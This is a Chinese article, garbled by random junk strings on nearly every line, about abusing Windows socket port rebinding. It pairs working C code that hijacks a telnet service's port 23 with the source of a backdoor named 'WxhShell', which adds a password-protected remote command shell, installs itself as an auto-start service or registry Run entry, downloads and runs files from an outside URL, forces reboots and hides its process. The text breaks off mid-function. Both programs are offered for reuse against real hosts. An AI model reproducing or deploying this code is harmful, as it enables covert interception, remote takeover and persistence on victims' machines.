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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L>PpXTWwy s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `5gcc7b i,V~5dE[I< saddr.sin_family = AF_INET; :0vNg:u+ . Bv;Zv saddr.sin_addr.s_addr = htonl(INADDR_ANY); =?/J.[)<* |m?0h.O, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !e%#Zb
MIo \K>6-0r| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }$OQw'L[ z
|t0mS$ 这意味着什么?意味着可以进行如下的攻击: T}zOM%]] W;o\}irep 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gE%- Pf~ =*I>MgCJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dvUJk<;w jd$lu^>I 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x0 j$]$ {Ynr(J. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 p;C`n)7P7 0z%]HlPg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |}#Rn`*2y 3ldOOQW% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -\r*D#aHBN VpD9!;S 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "Z,'NL>& iJ#sg+ #include 2.CI^.5& #include z*kn.sW #include 92S<TAdPP #include CjD2FnjT DWORD WINAPI ClientThread(LPVOID lpParam); *}LYMrP int main() #LcF;1o%o2 { rH & ^SNc WORD wVersionRequested; /#.6IV( DWORD ret; =0O`VSb WSADATA wsaData; (B[0BjU BOOL val; {@({po SOCKADDR_IN saddr; ]ul]L
R%. SOCKADDR_IN scaddr; eH75:` int err; VFRUiz/C SOCKET s; !K3
#4 SOCKET sc; +A/n<VH int caddsize; b}axw+ HANDLE mt; S3.Pqp_< DWORD tid; #IgY'L wVersionRequested = MAKEWORD( 2, 2 ); )5p0fw err = WSAStartup( wVersionRequested, &wsaData ); w+[r$+z!k if ( err != 0 ) { I>fEwMk~ printf("error!WSAStartup failed!\n"); M$|^?U>cm return -1; 02b v0 } o-49o5:1 saddr.sin_family = AF_INET; %e=BC^VW m~%IHWO' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {PdyKgM )6HcPso6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iN=-N=
saddr.sin_port = htons(23); N^:)U"9*e if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Vk#w%EJ { cO_En`F printf("error!socket failed!\n"); 29}(l#S}m return -1; sJMT _yt; } ]iYjS val = TRUE; Pij*?qmeQ //SO_REUSEADDR选项就是可以实现端口重绑定的 qm]k
(/w if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tP7l
;EX4 { IJ[#$I+Z% printf("error!setsockopt failed!\n"); ^!?W!k!:V return -1; F"~uu9u } ? !cUAa>iH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qVE6ROSh
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P**h\+M>{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I6zKvP8pb F0])g if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wwk=*X-8 { 5Z1b9.;., ret=GetLastError(); ]qvrpI!E! printf("error!bind failed!\n"); QGn3xM66 return -1; 'IKV%$k } w}X <]u listen(s,2); / 9^:*, while(1) "Lw[ $ { ~X)Aw3}F caddsize = sizeof(scaddr); #]cO]
I //接受连接请求 M qFuZg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )jm}h7, if(sc!=INVALID_SOCKET) !S$LRm\' { r3{Cu z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `ZC_F!
E if(mt==NULL) 7CWz)LT { Fe{lM'
8 printf("Thread Creat Failed!\n"); dXg.[|S* break; Wz;7 |UC } H0LEK(K } LJ\uRfs CloseHandle(mt); p gWBW9\ } <My4 )3 closesocket(s); 1-.6psE WSACleanup(); D!^&*Ia?2 return 0; F4 `ud;1H } 4|ML#aRz DWORD WINAPI ClientThread(LPVOID lpParam) _H}8eU { ?:H4Xd7 SOCKET ss = (SOCKET)lpParam; e5W 8YNA SOCKET sc; {mr!E unsigned char buf[4096]; 6F
!B;D -Q SOCKADDR_IN saddr; j0_)DG long num; nc4KeEl DWORD val; U9[QdC DWORD ret; Na=.LW-ma= //如果是隐藏端口应用的话,可以在此处加一些判断 iGlg@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :2ILN.& saddr.sin_family = AF_INET; @Fvp~]jCb saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N`,ppj saddr.sin_port = htons(23); DP_ ]\V<sT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $F2A { {DlQTgP printf("error!socket failed!\n"); q|r^)0W return -1; % 8u97f W } oG{0{%*@ val = 100; lC|`DG-B if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~ >6d}7xs { (#KSwWo{ed ret = GetLastError(); |zd+
\o return -1; AWo\u!j } ~}Xd{afo if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !Pd@0n4 { "{>BP$Jz ret = GetLastError(); 8~*
|muN.e return -1; r}T(?KGx } '1P~"P3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?VnA { s3<gq x-&r printf("error!socket connect failed!\n"); W2yNwB+{ closesocket(sc); =[5F~--Tf closesocket(ss); eO%w
i.Q return -1; %JoHc? } 5!-+5TJI while(1) ZP-^10
{ FWC\(f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n4Xh}KtH //如果是嗅探内容的话,可以再此处进行内容分析和记录 $y{rM%6JU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U</Vcz num = recv(ss,buf,4096,0); `-Y8T\ if(num>0) \*yH33B9 send(sc,buf,num,0); Q%>6u@' else if(num==0) D`hl} break; q8 &\;GK| num = recv(sc,buf,4096,0); pz4lC=H%o if(num>0) t9l]ie{"o. send(ss,buf,num,0); $Iz *W]B! else if(num==0) VcX89c4\ break; @3*S:;x } <DR$WsDG closesocket(ss); 12]rfd closesocket(sc); Dm{9;Abs% return 0 ; p ;]Qxh } |-l9 Z #|j8vmfn$e a=_:`S]} ========================================================== E|_J
2^w8J w9 下边附上一个代码,,WXhSHELL F%< ZEVm +khVi} ========================================================== .D3k(zZ '><I|c} #include "stdafx.h" h[ cqa tn38T% #include <stdio.h> &TTvX%T #include <string.h> He9Er #include <windows.h> /Z|K9a #include <winsock2.h> u(W>HVEG #include <winsvc.h> M!R=&a=Z #include <urlmon.h> -y|*x-iZ P(xgIMc H #pragma comment (lib, "Ws2_32.lib")
Se}&2 R #pragma comment (lib, "urlmon.lib") nPW=m`jG zFi)R }Ot #define MAX_USER 100 // 最大客户端连接数 W\EvMV" #define BUF_SOCK 200 // sock buffer l6T^e@* #define KEY_BUFF 255 // 输入 buffer y0]"qB FFtB# #define REBOOT 0 // 重启 ZHM NG~! #define SHUTDOWN 1 // 关机 )k[{re FJD;LpW #define DEF_PORT 5000 // 监听端口 Og-v][ ~F"w #define REG_LEN 16 // 注册表键长度 kD46Le++B #define SVC_LEN 80 // NT服务名长度 Cu!S|Xj. S'(IG m4 // 从dll定义API {ui{Y c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bn:74,GeyK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U<|*V5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mrQT:B\8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~K@p`CRbV H0\', X // wxhshell配置信息 @$fvhEkrT@ struct WSCFG { RF }R~m9] int ws_port; // 监听端口 <:>[24LJ{ char ws_passstr[REG_LEN]; // 口令 ;$vVYC int ws_autoins; // 安装标记, 1=yes 0=no S&F[\4w5] char ws_regname[REG_LEN]; // 注册表键名 Df@b;-E char ws_svcname[REG_LEN]; // 服务名 m1D,#=C,_ char ws_svcdisp[SVC_LEN]; // 服务显示名 z2iWr char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,7Dm p7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qk2*=BVh int ws_downexe; // 下载执行标记, 1=yes 0=no LFAefl\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" g;~$xXn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .U#oN_D P>EG;u@. }; ,(B/R8ZF~ emHaZhh // default Wxhshell configuration QL\3|'a struct WSCFG wscfg={DEF_PORT, e7yn"kd "xuhuanlingzhe", kl|m @Nxp 1, BPSie0 "Wxhshell", +3J5j+ "Wxhshell", uHuL9Q^ "WxhShell Service",
qN'%q+n "Wrsky Windows CmdShell Service", 0HI0/Tvu$< "Please Input Your Password: ", W[LQ$uj 1, p^C$(}Yh " http://www.wrsky.com/wxhshell.exe", 7O~hA*Z "Wxhshell.exe" .[
s6x5M }; z
$iI bo#?,80L}` // 消息定义模块 TU1W!=Z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 734H{,~ char *msg_ws_prompt="\n\r? for help\n\r#>"; ~H4Tr[8a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; QsPZ dC char *msg_ws_ext="\n\rExit."; -sx=1+\nf char *msg_ws_end="\n\rQuit."; .7HEI;4 char *msg_ws_boot="\n\rReboot..."; WM0-F@_ char *msg_ws_poff="\n\rShutdown..."; D1V^DbUm_ char *msg_ws_down="\n\rSave to "; 5 Nt9'" sWq@E6,I char *msg_ws_err="\n\rErr!"; "`V:4uz char *msg_ws_ok="\n\rOK!"; zUA
- G%dzJpC(
char ExeFile[MAX_PATH]; Z*Fn2I4 int nUser = 0; _=K\E0I.m HANDLE handles[MAX_USER];
uyoV) int OsIsNt; 6 u,w cS>xT cj SERVICE_STATUS serviceStatus; C_ W%]8u SERVICE_STATUS_HANDLE hServiceStatusHandle; f9HoQDFsM n{!=gR.v. // 函数声明 gMPvzBpP int Install(void); #<5i/5& int Uninstall(void); i'`>YX int DownloadFile(char *sURL, SOCKET wsh); r@CbhD int Boot(int flag); 'Uo|@tK void HideProc(void); #TIlM]5% int GetOsVer(void); s,j=Kym% int Wxhshell(SOCKET wsl); L-|u=c-6 void TalkWithClient(void *cs); 7-}/{o*,5 int CmdShell(SOCKET sock); Nkx W*w%}l int StartFromService(void); -+Z&O?pSH int StartWxhshell(LPSTR lpCmdLine); loD:4e1 SQ`KR'E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J@IF='{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^x_+& eMjW^-RgE5 // 数据结构和表定义 )gG_K$08? SERVICE_TABLE_ENTRY DispatchTable[] = W"g@*B'| { 'kekJ.wJ; {wscfg.ws_svcname, NTServiceMain}, 8*sP {NULL, NULL} Sr-!-eC }; T9AFL;1 [ak[ZXC, // 自我安装 mpzm6Ieu int Install(void) bKQ-PM&I/t { fK4NmdTV char svExeFile[MAX_PATH]; \O\veB8 HKEY key; R}$A>)%dx strcpy(svExeFile,ExeFile); ~g &Gi)je A[Vhy;xz // 如果是win9x系统,修改注册表设为自启动 3Ol`i$ if(!OsIsNt) { 9 j1
tcT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6~Y`<#X5J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0T:ZWRjH RegCloseKey(key); vl5r~F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mam(h{f$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ns-3\~QSi RegCloseKey(key); G TW5f return 0; lsOZ%p%fV } A"B[F# } @qB1:==@7 } gal.<SVW else { $u{ 8wF/) ^S^7u // 如果是NT以上系统,安装为系统服务 ?Q: KW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :2MHx}]il if (schSCManager!=0) 1y.!x~Pi, { y73@t$| SC_HANDLE schService = CreateService ]ChN]>o ( !}Ty"p` schSCManager, w]Ci%W( wscfg.ws_svcname, Q".AmHn
wscfg.ws_svcdisp,
MU~nvs;: SERVICE_ALL_ACCESS, FhMl+Ou
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I@YX-@&7 SERVICE_AUTO_START, PxgLt2dXa SERVICE_ERROR_NORMAL, ,8@U-7f, svExeFile, *Ui>NTl NULL, XLFo"f
NULL, R^GLATM NULL, H_7X%TvXb NULL, pAdSOR2 NULL 3o^oq ); +7bV if (schService!=0) A@OSh6/{h { G 8F43!< CloseServiceHandle(schService); TY gn
X CloseServiceHandle(schSCManager); ~f]I0FK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eX9H/&g strcat(svExeFile,wscfg.ws_svcname); !e:HE/&>i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WAp#[mW.fx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n*i1QC RegCloseKey(key); ' Y.s}Duj return 0; @W*Zrc1NF } c>e~$b8 } qEB]Tj e[ CloseServiceHandle(schSCManager); .\b# 0w } xZ(VvINL' } 6IC/~Woghx x 0x/2re return 1; !_=3Dz } ]0)=0pc]E Q2ky| // 自我卸载 oS_<;Fj int Uninstall(void) .+hM1OF`x { k{j (Gb2sp HKEY key; D3-H!TFpDb 4)~GHb if(!OsIsNt) { i:,37INMt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "6fTZ< RegDeleteValue(key,wscfg.ws_regname); `)s>},8W! RegCloseKey(key); 7=x]p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z'ZGN{L RegDeleteValue(key,wscfg.ws_regname); qddP -uN RegCloseKey(key); 9% AL f 9 return 0; m8njP-CZ } mu =H&JC } fF} NPl } aqAWaO else { 8k`rj; ok7yFm1\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @}@J$ g if (schSCManager!=0) I!sB$=n { -g]g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U m9]X@z if (schService!=0) R2$;f?;: { f6Io|CZWJ if(DeleteService(schService)!=0) { 9K5[a^q|My CloseServiceHandle(schService); @( H CloseServiceHandle(schSCManager); =~~Y@eX return 0; G\:^9!nwY~ } QBiLH]qa CloseServiceHandle(schService); &r
Lg/UEV- } z`[q$H7? CloseServiceHandle(schSCManager); ?Em*yc@WD } K@zzseQ}= } pC'GKk 8 =D2x@ank[ return 1; < l%3P6| } ;n,@[v @dj2# // 从指定url下载文件 P7i
G,i int DownloadFile(char *sURL, SOCKET wsh) p x1{=~V/ { "'
hc)58y HRESULT hr; |_J[n!~f7 char seps[]= "/"; idr,s\$> char *token; `Vqpo/ char *file; Q}MS $[y char myURL[MAX_PATH]; Ll
!J!{ char myFILE[MAX_PATH]; #c ndq[H Z'~yUo= strcpy(myURL,sURL); v8xNtUxN token=strtok(myURL,seps); =@d IM while(token!=NULL) 3+2&@:$t { n)7olP0p file=token; 1&@s2ee4
token=strtok(NULL,seps); 6KD } jWd 7 >1R? L27i_4E, GetCurrentDirectory(MAX_PATH,myFILE); "38ya2* strcat(myFILE, "\\"); .V?i 3 strcat(myFILE, file); m1k+u)7kD send(wsh,myFILE,strlen(myFILE),0); FV&& send(wsh,"...",3,0); .Qp 5wCkM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %:eepG| if(hr==S_OK) &1DU]|RoT& return 0; 5Q.bwl : else ^rc!X]C9 return 1; !v2D 18( q.OkZI0n } Et=N`k_gO FSqS]6b3 // 系统电源模块 .`OdnLGy int Boot(int flag) I
=t{ u; { Zq--m/ HANDLE hToken; Ny>tJ~I TOKEN_PRIVILEGES tkp; 4 }l,F r2T-= XWB if(OsIsNt) { /
W}Za&] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }7Si2S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1X4v:rI tkp.PrivilegeCount = 1; #qk A*WP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #`C;@#xr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @t if(flag==REBOOT) {
DdTTWp/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lbv9 kk[ return 0; Y)>GwFK$ } l("Dw8H else { )j40hrR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n:GK0wu.s
return 0; I-NzGx2u } PF-7AIxs" } 4425,AR else { i51~/
R if(flag==REBOOT) { )POuH*j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r[zxb0YA return 0; &WIiw$@ } GQTMQXn( else { b:Lp`8Du if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zA&lJD$0 return 0; Kc*h@#`~oL } v?)-KtX| } zLlu%Oc M?4)U"_VE return 1; Vc3tKuMsiX } kL,{H~iq; Memz>uux // win9x进程隐藏模块 H'E>QT void HideProc(void) AlNiqnZ { }!\ZJo a 8YAUy\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0+0+%#? if ( hKernel != NULL ) adh=Kp e!w { /a\6&Eb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yAoJ?<4^W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :luVsQ FreeLibrary(hKernel); h5&l#>8& } NamBJ\2E1[ &inu mc return; 8H3|i7.1h } @eN x:} 0A@'w*= // 获取操作系统版本 5B!l6ST int GetOsVer(void) BF2,E<^A { |A0LYKni OSVERSIONINFO winfo; iK6L\'k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d_*'5Eia6 GetVersionEx(&winfo); F
kp;G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lvIKL!;H return 1; TdI5{?sW else mxhO:.l return 0; sn&y;Vc[$ } `'[u%U E 2H_|Attoi // 客户端句柄模块 >[=q9k int Wxhshell(SOCKET wsl) ,V!s w5_5m { cA1"Nek SOCKET wsh; yc2c{<Ya5 struct sockaddr_in client; <8p53*a DWORD myID; 6)m}e?D> t5#IiPp while(nUser<MAX_USER) o`HZS|>K* { OS6 l*S(' int nSize=sizeof(client); 8*3<Erv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l [?o du4 if(wsh==INVALID_SOCKET) return 1; ]:JoGGE a0 ]S4kWq{ Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A^_BK(EY if(handles[nUser]==0) Mf%0Cx ` closesocket(wsh); v`MCV29!} else 0b9K/a%sQv nUser++; I0=YIcH5 } 7wsn8_n9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *,~d!Fc S1&mY'c return 0; dJM)~Ay- } wp`a:QZ8N ["4h%{. // 关闭 socket 3(G}IWPq< void CloseIt(SOCKET wsh) Yjv}@i" { ./LD closesocket(wsh); >tnQuFKg] nUser--; zRdL-u%(# ExitThread(0); 3'6%P_S } &Vfdq6Y] 4[|^78 // 客户端请求句柄 *SQ hXTn void TalkWithClient(void *cs) ~h6aw {
,F(nkbt mL`,v
WL/` SOCKET wsh=(SOCKET)cs; |GtTz& char pwd[SVC_LEN]; @FKNB.> char cmd[KEY_BUFF]; +M! f}=H
char chr[1]; pi:%Bd&F int i,j; -`gqA%#+ Ub*Gv(Pg while (nUser < MAX_USER) { H#x=eDU|k \ Q<c Y< if(wscfg.ws_passstr) { 7OX5"u!2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oCdWf63D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b;# 3X) //ZeroMemory(pwd,KEY_BUFF); wl #Bv,xf i=0; 5G cdz while(i<SVC_LEN) { e5_a.c U7O~ch[, // 设置超时 Bs(\e^} fd_set FdRead; m!5P5U
x struct timeval TimeOut; | ?3\xw FD_ZERO(&FdRead); Mfe/(tlI FD_SET(wsh,&FdRead); Ehu^_HZ TimeOut.tv_sec=8; nIJ2*QJ TimeOut.tv_usec=0; bB@1tp0+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ik)T>rYg0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ya3A^&: bmVksi2b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,\q9>cZ! pwd =chr[0]; 7{=/rbZT? if(chr[0]==0xd || chr[0]==0xa) { FjqoO. pwd=0; SYRr|Lg break; Ql^I$5& } |uId:^{ i++; wUj[c7Y% } fqA\Rp6Z j'FSd*5m // 如果是非法用户,关闭 socket ;rYL\`6L if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1=gE,k5H } <7R\# A >< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u8L%R[#o send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YKKZRlQo hRTw8-wy: while(1) { 9HrT>{@ "n3r, ZeroMemory(cmd,KEY_BUFF); 3:Q5dr+1_ :["iBrFp // 自动支持客户端 telnet标准 F )_jW j=0; L#mf[a@pCn while(j<KEY_BUFF) { HZC^Q7]hy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fTd=}zY cmd[j]=chr[0]; 6U5L>sQ if(chr[0]==0xa || chr[0]==0xd) { RhR{EO cmd[j]=0; PNY"Lqj break; 5'wWj}0!% } @ -CZa^g j++; |N, KA|Gdq } I WKq_Zjkz Y!s94#OaZ // 下载文件 jWk1FQte if(strstr(cmd,"http://")) { =vJ:R[Ilw send(wsh,msg_ws_down,strlen(msg_ws_down),0); #v+2W if(DownloadFile(cmd,wsh)) N\{Xhr7d send(wsh,msg_ws_err,strlen(msg_ws_err),0); nR'!Ui else OP0KK^# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "j-Z<F]] } ;:2]++G else { F!.Z@y P +.^BM/z^O switch(cmd[0]) { t4(Z@X$ +*&bgGhT // 帮助 pFb}5Q case '?': { j<|I@0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -P#PyZEH&I break; [w*YH5kX } "IQ' (^-P // 安装 >dO1) case 'i': { R5OP=Q 8 if(Install()) r Q)?Bhf send(wsh,msg_ws_err,strlen(msg_ws_err),0); WjLy7& else :"QR;O@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yu3: Hv} break; *|WS, } \Gm$hTvB& // 卸载 `o|Y5wQ@ case 'r': { <% #Dwo} if(Uninstall()) z OwKh>] send(wsh,msg_ws_err,strlen(msg_ws_err),0); UF37|+"E else b7-M'-Km0_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;;>hWAS break; LFvO[& } jlaU3qXL // 显示 wxhshell 所在路径 EHI%QT case 'p': { ][vm4UY char svExeFile[MAX_PATH]; h[eC i strcpy(svExeFile,"\n\r"); C7PVJnY0 strcat(svExeFile,ExeFile); 2IMU & send(wsh,svExeFile,strlen(svExeFile),0); 3s%Kw,z break; <46>v< } J>D+/[mFt // 重启 ctg U case 'b': { S7oPdzcU- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rhw- 49AWx if(Boot(REBOOT)) %vF,wQC send(wsh,msg_ws_err,strlen(msg_ws_err),0); l-^2>K[ else { s"OP[YEke/ closesocket(wsh); gR5
EK$ ExitThread(0); jGm`Qg{< } ky4;7RK break; `G/%U~ } q|7i6jq\*R // 关机 zEM c) case 'd': { {L6@d1u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b0VEMu81k if(Boot(SHUTDOWN)) <'T:9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); D;?cf+6$ else { 0FN;^hP5| closesocket(wsh); tL#~U2K ExitThread(0); {"v~1W) } FZFYwU\~.L break; QK~44;LVIJ } FS'|e?WU // 获取shell 8-#_xsZ^; case 's': { b@v_db]|t. CmdShell(wsh); q8Jhs7fv closesocket(wsh); mYUR(*[ ExitThread(0); L<D<3g|4 break; Ga<Uvr%+ } SI)QX\is8 // 退出 }>93X0%r case 'x': { 4 H<. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R!)3{cjU@ CloseIt(wsh); T 6ihEb$C break; Ppton+?( } mV>l`&K= // 离开 we("#s1= case 'q': { {{:QtkN send(wsh,msg_ws_end,strlen(msg_ws_end),0); #}xw
*)3 closesocket(wsh); s78MXS?py WSACleanup(); /]1$Soo exit(1); 9ZJn 8ki break; N4HIQ\p } 6y+_ x' } hr@kU x } :QoW*Gs1 0#G@F5; < // 提示信息 42oW]b%P{; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B}(r>8?dm } ~:JoKm`vU } ?<;9=l\Q QjlQsN! return; 8l.bT|#O } @k-C>h()C s'4O]k` // shell模块句柄 Vi m:: int CmdShell(SOCKET sock) Rs@>LA { "M;aNi^B STARTUPINFO si; 1fH2obI~X ZeroMemory(&si,sizeof(si)); 8@ZZ[9kt si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T)Y{>wT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oNEjlV* PROCESS_INFORMATION ProcessInfo; 79*f <Gr char cmdline[]="cmd"; 9 _oAs"w CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A+=K<e return 0; @fQvAok } P#!^9)3 |NdWx1 // 自身启动模式 Q]{ `m int StartFromService(void) i7XM7+} { H/2dVUU typedef struct | LXVf { ]?7q%7-e.a DWORD ExitStatus; h/oC9?v DWORD PebBaseAddress; <GWzdj? DWORD AffinityMask; n\i~H DWORD BasePriority; pi|=3W ULONG UniqueProcessId; ^`S.Mw. ULONG InheritedFromUniqueProcessId; f6,?Yex8B } PROCESS_BASIC_INFORMATION; }`pxs oh0*b h PROCNTQSIP NtQueryInformationProcess; -Hh.8(!XoO gy`WBg(7x static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |yinV fZ0C static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kh8 @tIY%;Bgk HANDLE hProcess; 2C
